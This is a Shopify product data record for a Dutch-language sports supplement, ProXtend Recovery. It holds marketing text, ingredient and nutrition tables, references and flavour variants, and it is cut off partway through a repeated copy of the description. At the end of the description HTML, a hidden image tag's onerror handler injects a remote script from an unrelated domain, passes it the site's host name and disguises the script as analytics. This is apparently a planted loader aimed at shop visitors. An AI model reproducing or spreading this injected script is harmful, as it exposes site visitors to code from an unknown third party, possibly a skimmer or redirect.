{"id":6595536519325,"title":"ProXtend Recovery","handle":"proxtend-recovery","description":"\u003c!-- TABS --\u003e\n\u003ch5\u003e\u003cem\u003eBESCHRIJVING\u003c\/em\u003e\u003c\/h5\u003e\n\u003cp\u003eProXtend is een intra-workout drank die direct voor of tijdens de training kan worden ingenomen. ProXtend bestaat uit een strategische mix van koolhydraten en een enorme dosis BCAA's, l-glutamine, l-citrulline malaat, vitaminen en elektrolyten. Het is een multifunctionele instant drank, ontworpen voor zowel duur- als krachtsporters. De voordelen voor duursporters (Performance Drink): Maltodextrine koolhydraten leveren snelle energie op het moment dat je glycogeenvoorraden moet aanvullen tijdens intensieve training. L-Citrulline Malaat helpt het ammoniak- en melkzuurgehalte (stoffen die door het lichaam worden geproduceerd tijdens intensieve trainingen) te verlagen, waardoor je langer en intensiever kunt trainen. Citrulline malaat verbetert ook de aërobe capaciteit.\u003c\/p\u003e\n\u003cp\u003eL-Glutamine werd aan de formule toegevoegd om de grote hoeveelheid glutamine te compenseren die uw spieren tijdens een intensieve training verbruiken. Het glutaminegehalte moet zo snel mogelijk worden aangevuld, niet alleen om spierafbraak te voorkomen, maar ook omdat glutamine de belangrijkste brandstofbron is voor je immuunsysteem, dat tijdens lange en intensieve trainingen onder grote druk kan komen te staan.⁽¹⁾ BCAA's zijn een ander essentieel ingrediënt in deze formule.\u003c\/p\u003e\n\u003cp\u003eAls het lichaam tijdens intensieve trainingen een tekort aan koolhydraten heeft, kunnen BCAA's in de lever worden omgezet in glucose die energie levert. Tijdens zware en lange lichamelijke inspanningen kan tot 15% van de totale energievoorziening worden geleverd door BCAA's. Daarom moet u de BCAA-niveaus aanvullen om spierafbraak te voorkomen. Bovendien verhogen BCAA-supplementen de prestatieperiode van langeafstandslopers met 16%.⁽¹⁾ De voordelen voor krachtsporters (Intra-Workout Drink): ProXtend is ook een Intra-Workout Drink die de spieropbouw tijdens uw training maximaliseert door efficiënt gebruik te maken van de bloedtoevoer naar de getrainde spier.\u003c\/p\u003e\n\u003cp\u003eHet menselijk lichaam pompt tijdens de training 15 tot 20 keer meer bloed naar de spieren dan in rust. Ons bloed is het transportsysteem dat alle belangrijke voedingsstoffen naar de spieren transporteert om ze in de best mogelijke omstandigheden te laten groeien en herstellen.\u003c\/p\u003e\n\u003cp\u003eHoe meer voedingsstoffen er naar de spieren worden gepompt, hoe beter spierafbraak kan worden voorkomen en hoe sneller de spieren groeien. Het beste moment om de spieren van deze vitale voedingsstoffen te voorzien is tijdens de training wanneer de bloedtoevoer het hoogst is!\u003c\/p\u003e\n\u003cp\u003eGeschikt voor:\u003c\/p\u003e\n\u003cp\u003eAtletiek\u003c\/p\u003e\n\u003cp\u003eRugby \/ Voetbal\u003c\/p\u003e\n\u003cp\u003eFietsen\u003c\/p\u003e\n\u003cp\u003eMarathon \/ Triatlon\u003c\/p\u003e\n\u003cp\u003eVechtsport \/ MMA \/ Boksen\u003c\/p\u003e\n\u003cp\u003eFitness en lichaamsbouw\u003c\/p\u003e\n\u003ch5\u003e\u003cstrong\u003eSPECIFICATIES\u003c\/strong\u003e\u003c\/h5\u003e\n\u003cp\u003eAANBEVOLEN GEBRUIK 1 serving = Meng 3 maatscheppen (42g) met 300ml water. Neem 1 portie voor, tijdens of na de training.\u003c\/p\u003e\n\u003cp\u003e\/\/\/ ACTIEVE INGREDIËNTEN PER DIENING (42g) Maltodextrine Maltodextrine wordt gemakkelijk verteerd en omgezet in energie, waardoor het een ideaal ingrediënt is voor sportdranken. Net als andere koolhydraten vermindert maltodextrine de glycogeenafbraak tijdens langdurige inspanning.⁽²⁾ In combinatie met eiwit kunnen maltodextrinen het herstel van glycogeen bevorderen en de spiereiwitsynthese stimuleren na de training.⁽³⁾\u003c\/p\u003e\n\u003cp\u003eHet verhoogt je trainingsintensiteit en verbetert je kracht, weerstand en uithoudingsvermogen. Elke portie bevat 28g maltodextrine. L-Citrulline Malaat L-citrulline malaat is een zoutvorm van het aminozuur L-citrulline dat een vitale rol speelt in de NO-balans en andere stofwisselingsprocessen. L-citrulline malaat verbetert de zuurstofbalans in de spiercellen⁽⁴⁾, verhoogt het hergebruik van melkzuur voor energieproductie⁽⁵⁾ en stimuleert de aerobe ATP-productie. Het vermindert ook aanzienlijk de vermoeidheid en verhoogt de aerobe prestaties.⁽⁶⁾ L-citrulline malaat verhoogt de synthese van fosfor creatine met 20%, wat betekent dat je sneller herstelt tussen power lifting sessies, waardoor je spieren sneller kunnen groeien. Elke portie bevat 2g l-citrulline malaat.\u003c\/p\u003e\n\u003cp\u003eL-Glutamine L-glutamine wordt beschouwd als een semi-essentieel aminozuur omdat het menselijk lichaam er in bepaalde omstandigheden niet genoeg van kan produceren om aan de behoeften van sporters te voldoen. L-glutamine is het meest voorkomende aminozuur in het bloed en spierweefsel en het draagt bij aan tal van fysiologische processen in het menselijk lichaam.⁽⁷⁾⁽⁸⁾⁽⁹⁾\u003c\/p\u003e\n\u003cp\u003eL-glutamine heeft een antikatabole werking en stimuleert een versneld spierherstel na de training.⁽¹⁰⁾ Daarnaast is glutamine een krachtige antioxidant: mensen die het gebruiken hebben ook een betere weerstand tegen verkoudheid.⁽¹⁾⁽¹²⁾ Elke portie bevat 4g l-glutamine. BCAA's in een 2:1:1 verhouding De 3 essentiële aminozuren L-Leucine, L-Isoleucine en L-Valine spelen een sleutelrol bij spiergroei en herstel na de training, omdat ze de eiwitsynthese activeren. BCAA's spelen een belangrijke rol bij het behoud van spiermassa en bij de optimalisering van de glycogeenvoorraden in de spieren. BCAA-suppletie verbetert de prestaties bij duursporters wanneer het wordt gecombineerd met citrullinemalaat.⁽¹³⁾⁽¹⁴⁾\u003c\/p\u003e\n\u003cp\u003eElke portie bevat 7 gram en deze strategische BCAA-inname helpt u om het herstel na kracht- en duurtraining te versnellen en minder spierstijfheid te hebben.⁽¹⁵⁾ Vitamine Complex: Vitamine B3, B6, B12 \u0026amp; C⁽¹⁶⁾⁽¹⁷⁽¹⁸⁾⁽¹⁹⁾⁽²º⁾⁽²¹⁾⁽²²⁾⁽²³⁾ Vooral sporters hebben meer van deze wateroplosbare vitaminen nodig.\u003c\/p\u003e\n\u003cp\u003eVitaminen zijn essentieel voor een goed functionerend lichaam. Volgens onderzoek is er een verband tussen vitamine B en sportprestaties. Vitamines B worden door het lichaam gebruikt om eiwitten en koolhydraten om te zetten in energie. Ze zijn ook essentieel voor spierherstel en celproductie (spiercellen). Onderzoekers van de Oregon State University ontdekten dat sporters met een vitamine B-tekort slechter presteren, en hun spierherstel en groei langzamer verloopt dan bij sporters die voldoende vitamine B innemen.\u003c\/p\u003e\n\u003cp\u003eVitamine C is ook een in water oplosbare stof en essentieel bij weefselgroei en herstel. Bovendien is vitamine C een anti-oxidant: het kan schade veroorzaakt door vrije radicalen blokkeren. Vrije radicalen kunnen ontstaan tijdens intense trainingen.\u003c\/p\u003e\n\u003cp\u003eINGREDIËNTEN Maltodextrine, BCAA 2:1: 1 [L-Leucine, L-Isoleucine, L-Valine, Emulgator (Zonnebloem Lecithine)], L-Glutamine, L-Citrulline Malaat, Zuurteregelaar (Trinatrium Citraat, Monopotassium Fosfaat), Zoetstof (Sucralose), Smaakstof, kleurstof (bietenrood), antiklontermiddel (siliciumdioxide), ascorbinezuur (vitamine C), nicotinamide (vitamine B3), pyridoxinehydrochloride (vitamine B6), cyanocobalamine (vitamine B12)\u003c\/p\u003e\n\u003ctable width=\"100%\" class=\"infotable\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eIngredients\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer  100g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer 42g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eBCAA Blend:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e16,7g\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e7000mg\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eL-Leucine\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e8,3g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e3500mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eL-Isoleucine\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e4,2g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e1750mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eL-Valine\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e4,2g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e1750mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd colspan=\"3\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eNitric Oxide:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eCitrulline Malate\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e4,8g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e2000mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd colspan=\"3\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eRecovery:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eL-Glutamine                           \u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e9,5g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e4000mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd colspan=\"3\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eVitamin Complex:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin B3\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e47,6mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e20mg (125%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin B6\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e14,3mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e6mg (428%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin B12\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e7,1µg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e3µg (120%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin C\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e71,0mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e30mg (37%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"406\" colspan=\"3\"\u003e\n\u003cp\u003e* = Reference Intake of an average adult (8400 kJ \/ 2000 kCal).\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003ctable width=\"100%\" class=\"infotable\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eTypical Nutritional Value\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer  100g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer 42g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eEnergy\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e264 kcal\/1124 kJ\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e111 kcal\/472 kJ\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eFat\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e-      of which saturated\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eCarbohydrates\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e-      of which sugars\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e65,6g\u003c\/p\u003e\n\u003cp\u003e5,9g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e27,6g\u003c\/p\u003e\n\u003cp\u003e2,5g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eProtein **\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eSalt\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,67g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,28g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"409\" colspan=\"3\"\u003e\n\u003cp\u003e** = on dry matter\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e\n\u003ch5\u003e\u003cstrong\u003eWETENSCHAPPELIJKE REFERENTIES\u003c\/strong\u003e\u003c\/h5\u003e\n\u003cp\u003e1) Chris Brands. Proteins! 1 miracle product for endurance athletes. www.chris-brands.nl\/referentie9.html. 2005.\u003c\/p\u003e\n\u003cp\u003e2) Wagenmakers AJ, Brouns F, Saris WH, Halliday D. Oxidation rates of orally ingested carbohydrates during prolonged exercise in men. J Appl Physiol (1985). 1993; 75(6):2774-80.\u003c\/p\u003e\n\u003cp\u003e3) Kerksick C, Harvey T, Stout J et al. International Society of Sports Nutrition position stand: nutrient timing. J Int Soc Sports Nutr. 2008; 5:17.\u003c\/p\u003e\n\u003cp\u003e4) Bailey SJ et al. L-Citrulline supplementation improves O2 uptake kinetics and high-intensity exercise performance in humans. J Appl Physiol (1985). 2015 Aug 15;119(4):385-95. \u003c\/p\u003e\n\u003cp\u003e5) Kiyici F et al. The Effect of Citrulline\/Malate on Blood Lactate Levels in Intensive Exercise. Biochem Genet. 2017 Dec;55(5-6):387-394.\u003c\/p\u003e\n\u003cp\u003e6) Suzuki T et al. Oral L-citrulline supplementation enhances cycling time trial performance in healthy trained men. J Int Soc Sports Nutr. 2016 Feb 19;13:6. Favano A et al. Peptide glutamine supplementation for tolerance of intermittent exercise in soccer players. 2008 Feb;63(1):27-32.\u003c\/p\u003e\n\u003cp\u003e7) Carvalho-Peixoto J. et al. Glutamine and carbohydrate supplements reduce ammonemia increase during endurance field exercise. Appl Physiol Nutr Metab. 2007 Dec;32(6):1186-90.\u003c\/p\u003e\n\u003cp\u003e8) Bassini-Cameron A et al. Glutamine protects against increases in blood ammonia in football players in an exercise intensity-dependent way. Br J Sports Med. 2008 Apr;42(4):260-6.\u003c\/p\u003e\n\u003cp\u003e9) Legault Z et al. The Influence of Oral L-Glutamine Supplementation on Muscle Strength Recovery and Soreness Following Unilateral Knee Extension Eccentric Exercise. Int J Sport Nutr Exerc Metab. 2015 Oct;25(5):417-26.\u003c\/p\u003e\n\u003c!-- \/TABS --\u003e\n\u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\n\u003cdiv id=\"mailtooptietoPopupModal\"\u003e\n\u003cdiv id=\"mailtooptiemodalTo\"\u003e\u003c\/div\u003e\n\u003cdiv id=\"mailtooptiemodalToPopup\"\u003eWhat do you want to do ?\u003c\/div\u003e\n\u003ca id=\"mailtooptienewAppButtonOpen\"\u003eNew mail\u003c\/a\u003e\u003cbutton id=\"mailtooptieclipboardCopyButtonEmail\"\u003eCopy\u003c\/button\u003e\u003ctextarea id=\"mailtooptieclipboardArea\"\u003e\u003c\/textarea\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e\n\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=601a96eb86df1a93598b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e","published_at":"2021-03-19T12:17:43+01:00","created_at":"2021-03-19T12:17:42+01:00","vendor":"Syntech","type":"Aminozuren","tags":["Merk_Syntech","Product Type_Aminozuren","recovery","Supplementen"],"price":4390,"price_min":4390,"price_max":4390,"available":true,"price_varies":false,"compare_at_price":null,"compare_at_price_min":0,"compare_at_price_max":0,"compare_at_price_varies":false,"variants":[{"id":39444353450141,"title":"1.26kg \/ Tropical","option1":"1.26kg","option2":"Tropical","option3":null,"sku":"","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ProXtend Recovery - 1.26kg \/ Tropical","public_title":"1.26kg \/ Tropical","options":["1.26kg","Tropical"],"price":4390,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""},{"id":39444353482909,"title":"1.26kg \/ Watermeloen","option1":"1.26kg","option2":"Watermeloen","option3":null,"sku":"","requires_shipping":true,"taxable":true,"featured_image":null,"available":false,"name":"ProXtend Recovery - 1.26kg \/ Watermeloen","public_title":"1.26kg \/ Watermeloen","options":["1.26kg","Watermeloen"],"price":4390,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":39444353515677,"title":"1.26kg \/ Grapefruit","option1":"1.26kg","option2":"Grapefruit","option3":null,"sku":"","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"ProXtend Recovery - 1.26kg \/ Grapefruit","public_title":"1.26kg \/ Grapefruit","options":["1.26kg","Grapefruit"],"price":4390,"weight":0,"compare_at_price":null,"inventory_quantity":1,"inventory_management":"shopify","inventory_policy":"deny","barcode":""}],"images":["\/\/fitnessmegashop.be\/cdn\/shop\/products\/ProXtend_IM_HR_2020_v2-processed.png?v=1616152664"],"featured_image":"\/\/fitnessmegashop.be\/cdn\/shop\/products\/ProXtend_IM_HR_2020_v2-processed.png?v=1616152664","options":["Formaat","Smaak"],"media":[{"alt":null,"id":20481222836381,"position":1,"preview_image":{"aspect_ratio":1.0,"height":960,"width":960,"src":"\/\/fitnessmegashop.be\/cdn\/shop\/products\/ProXtend_IM_HR_2020_v2-processed.png?v=1616152664"},"aspect_ratio":1.0,"height":960,"media_type":"image","src":"\/\/fitnessmegashop.be\/cdn\/shop\/products\/ProXtend_IM_HR_2020_v2-processed.png?v=1616152664","width":960}],"content":"\u003c!-- TABS --\u003e\n\u003ch5\u003e\u003cem\u003eBESCHRIJVING\u003c\/em\u003e\u003c\/h5\u003e\n\u003cp\u003eProXtend is een intra-workout drank die direct voor of tijdens de training kan worden ingenomen. ProXtend bestaat uit een strategische mix van koolhydraten en een enorme dosis BCAA's, l-glutamine, l-citrulline malaat, vitaminen en elektrolyten. Het is een multifunctionele instant drank, ontworpen voor zowel duur- als krachtsporters. De voordelen voor duursporters (Performance Drink): Maltodextrine koolhydraten leveren snelle energie op het moment dat je glycogeenvoorraden moet aanvullen tijdens intensieve training. L-Citrulline Malaat helpt het ammoniak- en melkzuurgehalte (stoffen die door het lichaam worden geproduceerd tijdens intensieve trainingen) te verlagen, waardoor je langer en intensiever kunt trainen. Citrulline malaat verbetert ook de aërobe capaciteit.\u003c\/p\u003e\n\u003cp\u003eL-Glutamine werd aan de formule toegevoegd om de grote hoeveelheid glutamine te compenseren die uw spieren tijdens een intensieve training verbruiken. Het glutaminegehalte moet zo snel mogelijk worden aangevuld, niet alleen om spierafbraak te voorkomen, maar ook omdat glutamine de belangrijkste brandstofbron is voor je immuunsysteem, dat tijdens lange en intensieve trainingen onder grote druk kan komen te staan.⁽¹⁾ BCAA's zijn een ander essentieel ingrediënt in deze formule.\u003c\/p\u003e\n\u003cp\u003eAls het lichaam tijdens intensieve trainingen een tekort aan koolhydraten heeft, kunnen BCAA's in de lever worden omgezet in glucose die energie levert. Tijdens zware en lange lichamelijke inspanningen kan tot 15% van de totale energievoorziening worden geleverd door BCAA's. Daarom moet u de BCAA-niveaus aanvullen om spierafbraak te voorkomen. Bovendien verhogen BCAA-supplementen de prestatieperiode van langeafstandslopers met 16%.⁽¹⁾ De voordelen voor krachtsporters (Intra-Workout Drink): ProXtend is ook een Intra-Workout Drink die de spieropbouw tijdens uw training maximaliseert door efficiënt gebruik te maken van de bloedtoevoer naar de getrainde spier.\u003c\/p\u003e\n\u003cp\u003eHet menselijk lichaam pompt tijdens de training 15 tot 20 keer meer bloed naar de spieren dan in rust. Ons bloed is het transportsysteem dat alle belangrijke voedingsstoffen naar de spieren transporteert om ze in de best mogelijke omstandigheden te laten groeien en herstellen.\u003c\/p\u003e\n\u003cp\u003eHoe meer voedingsstoffen er naar de spieren worden gepompt, hoe beter spierafbraak kan worden voorkomen en hoe sneller de spieren groeien. Het beste moment om de spieren van deze vitale voedingsstoffen te voorzien is tijdens de training wanneer de bloedtoevoer het hoogst is!\u003c\/p\u003e\n\u003cp\u003eGeschikt voor:\u003c\/p\u003e\n\u003cp\u003eAtletiek\u003c\/p\u003e\n\u003cp\u003eRugby \/ Voetbal\u003c\/p\u003e\n\u003cp\u003eFietsen\u003c\/p\u003e\n\u003cp\u003eMarathon \/ Triatlon\u003c\/p\u003e\n\u003cp\u003eVechtsport \/ MMA \/ Boksen\u003c\/p\u003e\n\u003cp\u003eFitness en lichaamsbouw\u003c\/p\u003e\n\u003ch5\u003e\u003cstrong\u003eSPECIFICATIES\u003c\/strong\u003e\u003c\/h5\u003e\n\u003cp\u003eAANBEVOLEN GEBRUIK 1 serving = Meng 3 maatscheppen (42g) met 300ml water. Neem 1 portie voor, tijdens of na de training.\u003c\/p\u003e\n\u003cp\u003e\/\/\/ ACTIEVE INGREDIËNTEN PER DIENING (42g) Maltodextrine Maltodextrine wordt gemakkelijk verteerd en omgezet in energie, waardoor het een ideaal ingrediënt is voor sportdranken. Net als andere koolhydraten vermindert maltodextrine de glycogeenafbraak tijdens langdurige inspanning.⁽²⁾ In combinatie met eiwit kunnen maltodextrinen het herstel van glycogeen bevorderen en de spiereiwitsynthese stimuleren na de training.⁽³⁾\u003c\/p\u003e\n\u003cp\u003eHet verhoogt je trainingsintensiteit en verbetert je kracht, weerstand en uithoudingsvermogen. Elke portie bevat 28g maltodextrine. L-Citrulline Malaat L-citrulline malaat is een zoutvorm van het aminozuur L-citrulline dat een vitale rol speelt in de NO-balans en andere stofwisselingsprocessen. L-citrulline malaat verbetert de zuurstofbalans in de spiercellen⁽⁴⁾, verhoogt het hergebruik van melkzuur voor energieproductie⁽⁵⁾ en stimuleert de aerobe ATP-productie. Het vermindert ook aanzienlijk de vermoeidheid en verhoogt de aerobe prestaties.⁽⁶⁾ L-citrulline malaat verhoogt de synthese van fosfor creatine met 20%, wat betekent dat je sneller herstelt tussen power lifting sessies, waardoor je spieren sneller kunnen groeien. Elke portie bevat 2g l-citrulline malaat.\u003c\/p\u003e\n\u003cp\u003eL-Glutamine L-glutamine wordt beschouwd als een semi-essentieel aminozuur omdat het menselijk lichaam er in bepaalde omstandigheden niet genoeg van kan produceren om aan de behoeften van sporters te voldoen. L-glutamine is het meest voorkomende aminozuur in het bloed en spierweefsel en het draagt bij aan tal van fysiologische processen in het menselijk lichaam.⁽⁷⁾⁽⁸⁾⁽⁹⁾\u003c\/p\u003e\n\u003cp\u003eL-glutamine heeft een antikatabole werking en stimuleert een versneld spierherstel na de training.⁽¹⁰⁾ Daarnaast is glutamine een krachtige antioxidant: mensen die het gebruiken hebben ook een betere weerstand tegen verkoudheid.⁽¹⁾⁽¹²⁾ Elke portie bevat 4g l-glutamine. BCAA's in een 2:1:1 verhouding De 3 essentiële aminozuren L-Leucine, L-Isoleucine en L-Valine spelen een sleutelrol bij spiergroei en herstel na de training, omdat ze de eiwitsynthese activeren. BCAA's spelen een belangrijke rol bij het behoud van spiermassa en bij de optimalisering van de glycogeenvoorraden in de spieren. BCAA-suppletie verbetert de prestaties bij duursporters wanneer het wordt gecombineerd met citrullinemalaat.⁽¹³⁾⁽¹⁴⁾\u003c\/p\u003e\n\u003cp\u003eElke portie bevat 7 gram en deze strategische BCAA-inname helpt u om het herstel na kracht- en duurtraining te versnellen en minder spierstijfheid te hebben.⁽¹⁵⁾ Vitamine Complex: Vitamine B3, B6, B12 \u0026amp; C⁽¹⁶⁾⁽¹⁷⁽¹⁸⁾⁽¹⁹⁾⁽²º⁾⁽²¹⁾⁽²²⁾⁽²³⁾ Vooral sporters hebben meer van deze wateroplosbare vitaminen nodig.\u003c\/p\u003e\n\u003cp\u003eVitaminen zijn essentieel voor een goed functionerend lichaam. Volgens onderzoek is er een verband tussen vitamine B en sportprestaties. Vitamines B worden door het lichaam gebruikt om eiwitten en koolhydraten om te zetten in energie. Ze zijn ook essentieel voor spierherstel en celproductie (spiercellen). Onderzoekers van de Oregon State University ontdekten dat sporters met een vitamine B-tekort slechter presteren, en hun spierherstel en groei langzamer verloopt dan bij sporters die voldoende vitamine B innemen.\u003c\/p\u003e\n\u003cp\u003eVitamine C is ook een in water oplosbare stof en essentieel bij weefselgroei en herstel. Bovendien is vitamine C een anti-oxidant: het kan schade veroorzaakt door vrije radicalen blokkeren. Vrije radicalen kunnen ontstaan tijdens intense trainingen.\u003c\/p\u003e\n\u003cp\u003eINGREDIËNTEN Maltodextrine, BCAA 2:1: 1 [L-Leucine, L-Isoleucine, L-Valine, Emulgator (Zonnebloem Lecithine)], L-Glutamine, L-Citrulline Malaat, Zuurteregelaar (Trinatrium Citraat, 